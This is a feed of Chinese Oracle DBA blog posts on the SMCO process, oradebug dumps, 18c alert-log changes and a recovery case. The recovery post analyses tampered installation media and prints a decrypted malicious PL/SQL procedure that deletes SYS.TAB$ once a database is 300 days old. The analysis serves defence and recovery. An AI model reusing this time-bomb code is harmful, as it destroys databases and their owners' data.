在『云和恩墨大讲堂』微信群中,有朋友提出了一个问题,SMCO 进程是做什么用的,SMON 启动 SMCO 失败会有什么影响?

具体可以参考下图的日志信息:

SMCO02.png

SMCO 进程是 空间管理调度进程 - Space Management Coordinator,在Oracle 11g 版本中引入。显然这不是一个核心进程,其启动失败不影响数据库的关键运行工作,可以通过参数设置禁用和启用,来重启该进程。

MOS 如下文档详细说明了这个进程的作用:

SMCO (Space Management Coordinator) For Autoextend On Datafiles And How To Disable/Enable (文档 ID 743773.1)

What is the function of SMCO background process

SMCO coordinates the following space management tasks. It performs proactive space allocation and space reclamation. It dynamically spawns slave processes (Wnnn) to implement the task.

SMCO 协调以下空间管理任务。 它执行主动空间分配和空间回收。 它动态生成从属进程(Wnnn)来实现任务。

  • 表空间级别的空间预分配 - Tablespace-level space (Extent) pre-allocation.

    Pre-allocation here refers to datafile extention, Datafile extension happens when a space request (extent allocation) operation generally triggered via Insert / loading to a segment does not find contiguous space in the tablespace, the session will extend the file by the next increment set for the datafile and will continue with the space request or Extent allocation.

    这里的预分配是指数据文件扩展,当通常通过插入/加载到段时触发的空间请求(扩展区分配)操作在表空间中找不到连续空间时会发生数据文件扩展,会话将按照 increment 设置扩展文件,同时将继续使用空间请求或Extent分配。

    For SMCO to autoextend a datafile, the AUTOEXTEND should be set to ON for the datafile. SMCO decides to expand the tablespace based on history, extension is split evenly across all datafiles in the tablespace which have not reached their maxsize and are still limited to 10% of the full tablespace size in one hourly SMCO wakeup.
    (Full tablespace size = Sum of datafile sizes at any given instance of time.)
  • 要使SMCO自动扩展数据文件,应将数据文件的AUTOEXTEND设置为ON。 SMCO决定根据历史记录扩展表空间,扩展在表空间中的所有数据文件中均匀分配,这些数据文件尚未达到其maxsize,并且在每小时SMCO唤醒时,扩展空间限制为完整表空间大小的10%。(完整表空间大小=任何给定时刻的数据文件大小总和。)

Apart from the above mentioned task, the SMCO process is also responsible for performing the following tasks.

  • updating block and extents counts in SEG$ for locally managed tablespaces after adding an extent (from unpublished Bug 12940620)
  • Securefile lob segment pre-extension.
  • Securefile lob segment in-memory dispenser space pre-allocation.
  • Securefile lob segment space reclamation (moving free chunks from uncommitted free space area to committed free space area).
  • Temporary segment space reclamation.


The main advantage is that sessions need not wait for reactive space allocation/deallocation operations as this is proactively done, and hence a gain in performance.


How to disable and enable the SMCO background process

The feature provided by the SMCO process is called "Tablespace-level space (Extent) pre-allocation."

It can be turned off by setting "_enable_space_preallocation"=0 as below:

ALTER SYSTEM SET "_ENABLE_SPACE_PREALLOCATION" = 0;



The feature can be turned on again any time by setting "_enable_space_preallocation"=3 which is the default value:

ALTER SYSTEM SET "_ENABLE_SPACE_PREALLOCATION" = 3;


The parameter is dynamic and the scope is ALTER SYSTEM.

NOTE:
Please use the double quotes as indicated to prevent an ORA-911 because of the leading '_'


Following is other possible settings:

* 0 to turn off the tbs pre-extension feature.
* 1 To enable tablespace extension.
* 2 To enable segment growth.
* 4 To enable chunk allocation.

以上摘自 MOS 内容,仅供参考。

相关文章|Related Articles

06:05 Extended Histograms (1 Bytes) » Oracle Scratchpad
A

2018-07-31 Tue

11:09 内核分析:使用 oradebug 转储 library_cache 内存信息 (9032 Bytes) » Oracle Life

作者:eygle 发布在 eygle.com

Shared_Pool 是 Oracle SGA中最复杂的一部分,在分析很多 library cache 问题时,经常会用到转储命令。

oradebug dump library_cache 的常用级别包括 (注意,一定要测试之后再采用,要先看看 library cache 大小,如果库缓存非常大,这个转储的日志可能会是 Huge 的):

等级1:关键结构的统计汇总信息

等级2:HASH CHAIN 信息

等级4:持有对象结构 Bucket 信息,可以看到一个对象的lock,pin,mutex信息。

等级8:Level 4 + 相关数据块

等级16:Level 8 + 每个对象的 Heap 信息

等级32:Level 16 + 完整的 Heap DUMP

使用 oradebug 可以很方便的转储 library_cache 信息,示范如下:

[oracle12c@enmotech ~]$ sqlplus / as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Tue Jul 31 10:17:00 2018

Copyright (c) 1982, 2016, Oracle. All rights reserved.

Connected to:

Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

SQL> oradebug setmypid

Statement processed.

SQL> oradebug dump library_cache 1;

Statement processed.

SQL> select value from v$diag_info where name like 'Defa%';

VALUE

--------------------------------------------------------------------------------

/oracle12c/db/diag/rdbms/enmo12c/enmo12c/trace/enmo12c_ora_7277.trc

SQL> !

[oracle12c@enmotech ~]$ cat /oracle12c/db/diag/rdbms/enmo12c/enmo12c/trace/enmo12c_ora_7277.trc

Trace file /oracle12c/db/diag/rdbms/enmo12c/enmo12c/trace/enmo12c_ora_7277.trc

Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

Build label: RDBMS_12.2.0.1.0_LINUX.X64_170125

ORACLE_HOME: /u01/oracle12c/db/product/12.2.0/dbhome_1

System name: Linux

Node name: enmotech

Release: 3.10.0-514.6.2.el7.x86_64

Version: #1 SMP Thu Feb 23 03:04:39 UTC 2017

Machine: x86_64

Instance name: enmo12c

Redo thread mounted by this instance: 1

Oracle process number: 8

Unix process pid: 7277, image: oracle@enmotech (TNS V1-V3)

*** 2018-07-31T10:17:07.023214+08:00 (CDB$ROOT(1))

*** SESSION ID:(982.48265) 2018-07-31T10:17:07.023262+08:00

*** CLIENT ID:() 2018-07-31T10:17:07.023270+08:00

*** SERVICE NAME:(SYS$USERS) 2018-07-31T10:17:07.023277+08:00

*** MODULE NAME:(sqlplus@enmotech (TNS V1-V3)) 2018-07-31T10:17:07.023285+08:00

*** ACTION NAME:() 2018-07-31T10:17:07.023292+08:00

*** CLIENT DRIVER:(SQL*PLUS) 2018-07-31T10:17:07.023298+08:00

*** CONTAINER ID:(1) 2018-07-31T10:17:07.023305+08:00

Processing Oradebug command 'setmypid'

*** 2018-07-31T10:17:07.023346+08:00 (CDB$ROOT(1))

Oradebug command 'setmypid' console output: <none>

*** 2018-07-31T10:17:13.956173+08:00 (CDB$ROOT(1))

Processing Oradebug command 'dump library_cache 1'

LIBRARY CACHE DUMP

LIBRARY CACHE STATISTICS:

namespace gets hit ratio pins hit ratio reloads invalids

-------------- --------- --------- --------- --------- ---------- ----------

SQL AREA 1217773 0.891 21268193 0.985 55850 35229

TABLE/PROCEDURE 881146 0.961 2039858 0.909 76152 0

BODY 192474 0.993 289193 0.994 348 0

TRIGGER 61079 0.986 61077 0.986 2 1

INDEX 152995 0.979 139263 0.816 12489 0

CLUSTER 20622 0.992 20963 0.992 0 0

其他级别,不做详细列举。

参考文章:

从Library Cache等待事件深入剖析SQL解析 http://www.enmotech.com/web/detail/1/288/2.html

相关文章|Related Articles

10:42 Oracle18.3:透过告警日志从安装初始化过程看 18c 的新改变 (17484 Bytes) » Oracle Life

作者:eygle 发布在 eygle.com

Oracle Database 18c 已经正式对外发布,第一个公共版本的版本号是 18.3 ,让我们从 18.3 的安装过程来一睹 18c 的改变。

1.png

首先我们看看版本,18c 发布的第一个版本是 18.1.0 :

SQL> select banner_full from v$version;

BANNER_FULL

--------------------------------------------------------------------------------

Oracle Database 18c Enterprise Edition Release 18.0.0.0.0 - Production

Version 18.1.0.0.0

而现在发布的版本,演进到 18.3.0 :

[oracle@sdb0 ]$ sqlplus / as sysdba

SQL*Plus: Release 18.0.0.0.0 - Production on Wed Jul 25 21:18:09 2018

Version 18.3.0.0.0

SQL> select banner_full from v$version;

BANNER_FULL

--------------------------------------------------------------------------------

Oracle Database 18c Enterprise Edition Release 18.0.0.0.0 - Production

Version 18.3.0.0.0

在MOS 上已经更新了产品发布计划,HP-UX 和 AIX 版本将在 8 月份发布:

微信图片_20180726102023.jpg

当然我们不要恐惧 Oracle 版本的快速变化,再来看看这个版本路线图,18c 相当于 12.2.0.2 ,而 19c 则相当于 12.2.0.3 ,而 20c 将会是一个全新的版本:

3.png

整个数据库的安装过程非常流畅,没有遇到任何问题,我选择创建了一个 SID 为 enmo ,包含一个 PDB ,PDB 的名称是 enmotech :

4.jpg

完成安装之后,让我们从数据库的告警日志开始,看看 18.3 中带来了什么改变。当然,如果您没有安装过 18.1 ,那么事实上这些就是 18c 的改变。

改变一:详细的补丁信息

在告警日志中,数据库创建完成之后,会输出详细的补丁信息,告知数据库中已经应用的补丁列表,我删节了大部分BUG号,这是一个超长的列表。有同事说:看到修复了这么多BUG,就放心了。(其实 12.2 初始版本也有这个特性)。

注意,这里的 Patch ID 28090523 就是 2018年7月 17日发布的 RU 版本,可以从 MOS 上找到详细的信息:

===========================================================

Dumping current patch information

===========================================================

Patch Id: 28090523

Patch Description: Database Release Update : 18.3.0.0.180717 (28090523)

Patch Apply Time: 2018-07-19T01:39:24+08:00

Bugs Fixed: 9062315,13554903,21547051,21766220,21806121,23003564,23310101,

24489904,24689376,24737581,24925863,25035594,25035599,25287072,25348956,

25634405,25726981,25743479,25824236,25929650,25943740,26226953,26336101,

26423085,26427905,26450454,26476244,26598422,26615291,26646549,26654411,

...

28072130,28098865,28106402,28132287,28169711,28174827,28184554,28188330,

28264172

Patch Id: 28090553

Patch Description: OCW RELEASE UPDATE 18.3.0.0.0 (28090553)

Patch Apply Time: 2018-07-19T01:40:01+08:00

Bugs Fixed: 12816839,18701017,22734786,23698980,23840305,25709124,25724089,

26299684,26313403,26433972,26527054,26586174,26587652,26647619,26827699,

26860285,26882126,26882316,26943660,26996813,27012915,27018734,27032726,

27034318,27040560,27080748,27086406,27092991,27098733,27106915,27114112,

...

27609819,27625010,27625050,27627992,27654039,27657467,27657920,27668379,

27906509,27931506,27935826,27941514,27957892,27978668,27984314,27993298,

28023410,28025398,28032758,28039471,28039953,28045209,28099592,28109698,

28174926,28182503,28204423,28240153

Patch Id: 27923415

Patch Description: OJVM RELEASE UPDATE: 18.3.0.0.180717 (27923415)

Patch Apply Time: 2018-07-19T01:41:38+08:00

Bugs Fixed: 27304131,27461740,27539876,27636900,27642235,27952586

Patch Id: 27908644

Patch Description: UPDATE 18.3 DATABASE CLIENT JDK IN ORACLE HOME TO JDK8U171

Patch Apply Time: 2018-07-19T01:44:11+08:00

Bugs Fixed: 27908644

===========================================================

这个封包,在 MOS 上就是包含以下这几个补丁列表:

Build Date:     July 17, 2018 16:00

Software home of Oracle Database software
This zip file contains Database software version: 18.3.0.0.180717
To use this patch with OEDA, copy this file to OEDA's WorkDir before running OEDA.
Refer to the Exadata database machine owners guide for information about the Oracle Exadata deployment assistant
Patches installed:
27923415;OJVM RELEASE UPDATE: 18.3.0.0.180717 (27923415)
28090523;Database Release Update : 18.3.0.0.180717 (28090523)
28090553;OCW RELEASE UPDATE 18.3.0.0.0 (28090553)

整个补丁集合也就是我们今天公开下载到的,4.4 G 的补丁安装包,MOS 上的下载次数是 0 ,我贡献第一个下载:

5.png

改变二:Redo 日志的 DAX 存储支持

在告警日志中,可以看到如下的信息:

Redo log for group 1, sequence 1 is not located on DAX storage

Redo log for group 3, sequence 12 is not located on DAX storage

也就是数据库检查,Redo 日志没有位于 DAX 存储设备,也就是说,Oracle 支持将 Redo 放置于 Direct Access Storage (DAX) 上,更好的支持 NVRAM 等高速存储设备(这个改进不确认,需要测试验证)。

初始化参数中, _simulate_dax_storage 可以用于模拟 DAX 存储,具体需要测试看:

SQL> select ksppinm,ksppdesc from x$ksppi where ksppinm like '%dax%';

KSPPINM

--------------------------------------------------------------------------------

KSPPDESC

----------------------------------------------------------------------------------

_simulate_dax_storage

Simulate log on DAX storage

同时,在进行网络传输时,增加了 日志网络传输调节 的新特性:

2018-07-25T18:36:51.730072+08:00

.... (PID:14041): Redo network throttle feature is disabled at mount time

强势插播广告:

6.jpg

改变三:创建DBaaS 和 SaaS lockdown Profile

在 Oracle 12.2 中引入了安全增强,lockdown profile ,进行了更细粒度的权限控制:

2018-07-25T17:37:46.285748+08:00

create lockdown profile PRIVATE_DBAAS

Completed: create lockdown profile PRIVATE_DBAAS

create lockdown profile SAAS

Completed: create lockdown profile SAAS

create lockdown profile PUBLIC_DBAAS

Completed: create lockdown profile PUBLIC_DBAAS

以下通过一个简单的测试来看看这个特性的基本功能。 首先在CDB下创建一个profile,这个Profile将对全局可用:

SQL> connect / as sysdba
Connected.
SQL> CREATE LOCKDOWN PROFILE enmotech;
Lockdown Profile created.

SQL> ALTER LOCKDOWN PROFILE enmotech DISABLE STATEMENT = ('ALTER SYSTEM');
Lockdown Profile altered.

连接到 PDB YHEM,在 PDB 级别启用 lockdown profile :

SQL> connect sys/oracle@yhem as sysdba
Connected.
SQL> ALTER SYSTEM SET PDB_LOCKDOWN = enmotech;
System altered.

测试一下,可以看到所有的ALTER SYSTEM的操作都被禁用了:

SQL> alter system checkpoint;
alter system checkpoint
*
ERROR at line 1:
ORA-01031: insufficient privileges

SQL> alter system set optimizer_mode = first_rows_1;
alter system set optimizer_mode = first_rows_1
*
ERROR at line 1:
ORA-01031: insufficient privileges

同事我们注意到 APP Container 被初始化:

alter pluggable database application APP$CDB$SYSTEM begin install '1.0'

Completed: alter pluggable database application APP$CDB$SYSTEM begin install '1.0'

alter pluggable database application APP$CDB$SYSTEM end install '1.0'

Completed: alter pluggable database application APP$CDB$SYSTEM end install '1.0'

改变四:创建过程中的缺省压缩

在数据库创建过程中,可以看到对于 SYSTEM 、SYSAUX 表空间,启用了所有操作压缩:

alter tablespace system default compress for all operations

Completed: alter tablespace system default compress for all operations

PDB$SEED(2):alter tablespace system default compress for all operations

PDB$SEED(2):Completed: alter tablespace system default compress for all operations

alter tablespace sysaux default compress for all operations

Completed: alter tablespace sysaux default compress for all operations

PDB$SEED(2):alter tablespace sysaux default compress for all operations

PDB$SEED(2):Completed: alter tablespace sysaux default compress for all operations

表压缩是 Oracle 9i 就有的特性,11g 做出了很多增强,OLTP 压缩需要 高级压缩 选件,是一个收费的组件。

所以在数据库创建完成之后,这个压缩被禁用了,当然也一定是基于性能的考虑:

7.png

但是创建数据库过程中的压缩,是第一次被观察到。

SYSTEM 还有一个特殊之处,被启用了 force logging :

2018-07-25T17:27:48.447861+08:00

alter tablespace system force logging

Completed: alter tablespace system force logging

PDB$SEED(2):alter tablespace system force logging

PDB$SEED(2):Completed: alter tablespace system force logging

改变五:增加详细的环境控制信息

在数据库启动时,能够看到详细的环境控制信息,之前发布的Exadata版本就是通过这些信息控制安装的:

2018-07-25T17:27:16.850169+08:00

Initial number of CPU is 10

Number of processor cores in the system is 10

Number of processor sockets in the system is 10

Capability Type : Network

capabilities requested : 1 detected : 0 Simulated : 0

Capability Type : Runtime Environment

capabilities requested : 400000FF detected : 40000000 Simulated : 0

Capability Type : Engineered Systems

capabilities requested : 3 detected : 0 Simulated : 0

改变六:SCN兼容性版本信息

虽然这不是 18c 才有的,但是因为其重要性,列出在这里:

Database SCN compatibility initialized to 1

目前 18c 采用的是 兼容性版本 1,当然这个参数是动态调整的。

具体参考之前的文章:Oracle SCN 兼容性版本解密

改变七:全数据库缓存

全数据库缓存是 12c 的新特性,之前未注意是否会被缺省启用,在 18.3 的初始按照中,可以看到如下过程,全库缓存被启用,也就是说如果内存足够,Oracle 会尽量将全部数据库内容缓存到内存中去:

Buffer Cache Full DB Caching mode changing from FULL CACHING DISABLED to FULL CACHING ENABLED

我的 Demo 库由于 Cache 设置过低,所以最后全库缓存被禁用:

2018-07-25T17:27:24.364156+08:00

Buffer Cache Full DB Caching mode changing from FULL CACHING ENABLED to FULL CACHING DISABLED

Full DB Caching disabled: DEFAULT_CACHE_SIZE should be at least 456 MBs bigger than current size.

Oracle 18.3 已至,管中窥豹,让我们一起开始 18c 自治数据库之旅吧。

相关文章|Related Articles

2018-07-30 Mon

11:02 数据恢复:被注入的软件及 ORA-600 16703 灾难的恢复 (13518 Bytes) » Oracle Life

作者:eygle 发布在 eygle.com

链接:http://www.enmotech.com/services/service.html

原文链接:http://www.enmotech.com/web/detail/1/521/1.html

最近帮助一个客户恢复数据库,遇到了如下这个问题。让我们再一次惊醒于数据安全,如果不做好防范,问题总是会来得猝不及防。

1.jpg

客户在尝试启动数据库时,是这样一个 ORA-600 错误映入眼帘,反复重试无法消除问题,历史备份,同样存在问题,客户毫无防范的,陷入一场数据库灾难:

SQL*Plus: Release 11.2.0.4.0 Production on Fri Jul 20 22:12:34 2018

Copyright (c) 1982, 2013, Oracle. All rights reserved.

Connected to an idle instance.

SQL> startup mount;

ORACLE instance started.

Database mounted.

SQL> alter database open;

alter database open

*

ERROR at line 1:

ORA-01092: ORACLE instance terminated. Disconnection forced

ORA-00704: bootstrap process failure

ORA-00704: bootstrap process failure

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],

[], [], [], [], [], []

Process ID: 1236

Session ID: 1 Serial number: 5

按照我的思路,第一步是启用 10046 跟踪一下问题的出现位置:

3.jpg

从跟踪文件中,可以找到如下信息,最后执行的是 obj$ 的对象访问,绑定变量传入值是 20 ,

4.jpg

注意,最后出错前的递归查询,其 BINS # 605191324 事实上对应的就是 bootstrap$ 的 初始化过程:

PARSING IN CURSOR #605191324 len=188 dep=1 uid=0 oct=1 lid=0 tim=77597981 hv=4006182593 ad='23987650' sqlid='32r4f1brckzq1'

create table bootstrap$ (

END OF STMT

PARSE #605191324:c=0,e=372,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=77597979

EXEC #605191324:c=0,e=78,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=0,tim=77598086

CLOSE #605191324:c=0,e=4,dep=1,type=0,tim=77598125

在这个递归过程中,取得所有引导数据库启动所需SQL,然后再顺序加载内容,完成内存初始化。

最后出现错误之处是 20 号对象,在数据库中是 ICOL$ 对象:

SQL> select object_name from dba_objects where object_id=20;

OBJECT_NAME

--------------------------------------------------------------

ICOL$

bootstrap$ 中,可以找到这条记录,在初始化这个对象的过程中,数据库在 TAB$ 中找不到这条记录,就出现了 16703 的错误:

CREATE TABLE ICOL$("OBJ#" NUMBER NOT NULL,"BO#" NUMBER NOT NULL,"COL#" NUMBER NOT NULL,"POS#" NUMBER NOT NULL,"SEGCOL#" NUMBER NOT NULL,"SEGCOLLENGTH" NUMBER NOT NULL,"OFFSET" NUMBER NOT NULL,"INTCOL#" NUMBER NOT NULL,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE ( OBJNO 20 TABNO 4) CLUSTER C_OBJ#(BO#)

在进程的转储文件中,也可以看懂对于 TAB$ 的递归访问,绑定变量是 20 :

5.jpg

再来看看 ORA-600 错误,几个参数含义如下:1403 指记录未发现;20 指对象号:

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],

[], [], [], [], [], []

$ oerr ora 1403

01403, 00000, "no data found"

// *Cause: No data was found from the objects.

// *Action: There was no data from the objects which may be due to end of fetch.

所以,现在问题很清楚了,是因为 20 号对象递归时找不到,这是被恶意删除了。

这就是此前曾经被披露的,数据库安装介质被注入的问题,惜分飞曾经记录过这个问题。

强烈警示在下载Oracle安装介质时,一定要从可靠来源下载,Oracle 官网是最佳途径。当从未知来源获得安装软件时,你就可能面临着注入风险。这一次的客户就是遭遇到了这个问题的威胁。

推荐阅读:防范攻击 加强管控 - 数据库安全的16条军规

在这个案例中,被注入的文件是:

$ORACLE_HOME/rdbms/admin/prvtsupp.plb

这个程序包文件最后被注入了一个触发器,这个启动触发器,当数据库启动之后被触发执行:

6.jpg

这个触发器执行的是前面的加密代码,存储过程,这个存储过程解密后的代码如下,其代码逻辑就是,判断数据库的创建时间大于 300 天,然后创建一个备份表,备份 tab$ 内容之后,清空 TAB$ 表。

此后,数据库当然就无法启动了:

PROCEDURE DBMS_SUPPORT_DBMONITORP IS

DATE1 INT :=10;

BEGIN

SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;

IF (DATE1>=300) THEN

EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';

DELETE SYS.TAB$;

COMMIT;

EXECUTE IMMEDIATE 'alter system checkpoint';

END IF;

END;

所以我们再次提示大家:由于这个攻击,具有潜伏性,如果你是从网络下载了Oracle安装包,尤其是 11.2.0.4 版本,建议用户检查你的数据库,确保安全。

由于 Oracle 的 11.2.0.4 版本要从 MOS 上下载,需要具有Oracle的授权,所以很多非授权用户从其他来源下载,就面临了风险。

7.jpg

那么怎么解决这个问题呢?

其实也很简单,当删除了 TAB$ 表中的内容后,数据库是启动引导遇到故障,所以我们只要找到一个良好运行的同平台、同版本 SYSTEM 文件,将引导块全部复制回来,就可以启动数据库了,以下是我的恢复过程截取的一部分BLOCK:

8.jpg

而且,注意,这一次的黑客是很有分寸的,在删除之前备份了 TAB$ 的内容,所以只要启动数据库,从备份表中(ORACHK'||SUBSTR(SYS_GUID,10)||' )恢复 TAB$ 的内容,数据库就可以完美的修复回来。

这和 2016 年,比特币勒索事件不同,那个案例的代码是 Truncate 了用户数据表,处理起来难度更大,参考:知己知彼-关于Oracle安全比特币勒索问题揭秘和防范

以下是整个恢复过程前台的最后两个阶段,当使用 bbed 复制修复后,启动数据库时,收到提示,要将数据库以 upgrade 模式启动,这是某个标志的影响:

SQL> startup

ORACLE instance started.

Total System Global Area 531476480 bytes

Fixed Size 1406404 bytes

Variable Size 318769724 bytes

Database Buffers 205520896 bytes

Redo Buffers 5779456 bytes

Database mounted.

ORA-01092: ORACLE instance terminated. Disconnection forced

ORA-00704: bootstrap process failure

ORA-39700: database must be opened with UPGRADE option

Process ID: 1648

Session ID: 1 Serial number: 5

upgrade 模式启动,数据库成功完美打开:

SQL> startup upgrade;

ORACLE instance started.

Total System Global Area 531476480 bytes

Fixed Size 1406404 bytes

Variable Size 318769724 bytes

Database Buffers 205520896 bytes

Redo Buffers 5779456 bytes

Database mounted.

Database opened.

SQL> select * from dual;

D

-

X

最后总结一下,这个案例给我们的警示:

  1. 遵守规则和规范很重要,保护知识产权,规范部署,天然可以防范很多问题
  2. 深入学习、知识储备,是从容应对问题的根本之道,理解了原理,才能举重若轻,触类旁通;
  3. 只有按时备份还不够,定期验证检查非常重要
  4. 随时关注数据库中的特殊对象和变更,是非常重要的;

数据安全的关注,时刻不能停止!

相关文章|Related Articles